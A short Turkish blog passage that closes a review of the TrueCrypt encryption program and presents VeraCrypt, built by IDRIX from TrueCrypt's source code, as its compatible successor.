Bu yazımızda TrueCrypt programını ayrıntılı olarak incelemeye çalıştık.Elbette geliştiriciler desteğini program üzerinden çektikten sonra TrueCrypt’e olan güven yerini yeni kriptolama araçları arayışlarına bıraktı.Ve bu noktada adeta TrueCrypt’in küllerinden doğan yeni bir yazılım üst sıralara gelme noktasında önemli bir adım attı.Bu program VeraCrypt!Bu program gerek TrueCrypt ile uyumlu olarak çalışması,gerek kriptolama performansı ile yeni bir gözde kriptolama programı olma yolunda ilerlemektedir.Temeli TrueCypt programına dayanan VeraCrypt IDRIX firması tarafından TrueCrypt kaynak kodları kullanılıp geliştirilerek oluşturulmuştur.TrueCrypt programının geliştirmeleri durdurmasından sonra üretilen program,IDRIX tarafından geliştirmelere devam edeceği görülüyor.TrueCrypt ile aynı özelliklere sahip olan bu yazılıma NSA tarafından müdahele edilecekmi o da ayrı bir konu.Sonuç olarak hazin bir TrueCrypt sonlanış hikayesinden sonra parlayan VeraCrypt yazılımı kullanıcılara bir süre daha yardım edecek gibi gözüküyor…
]]>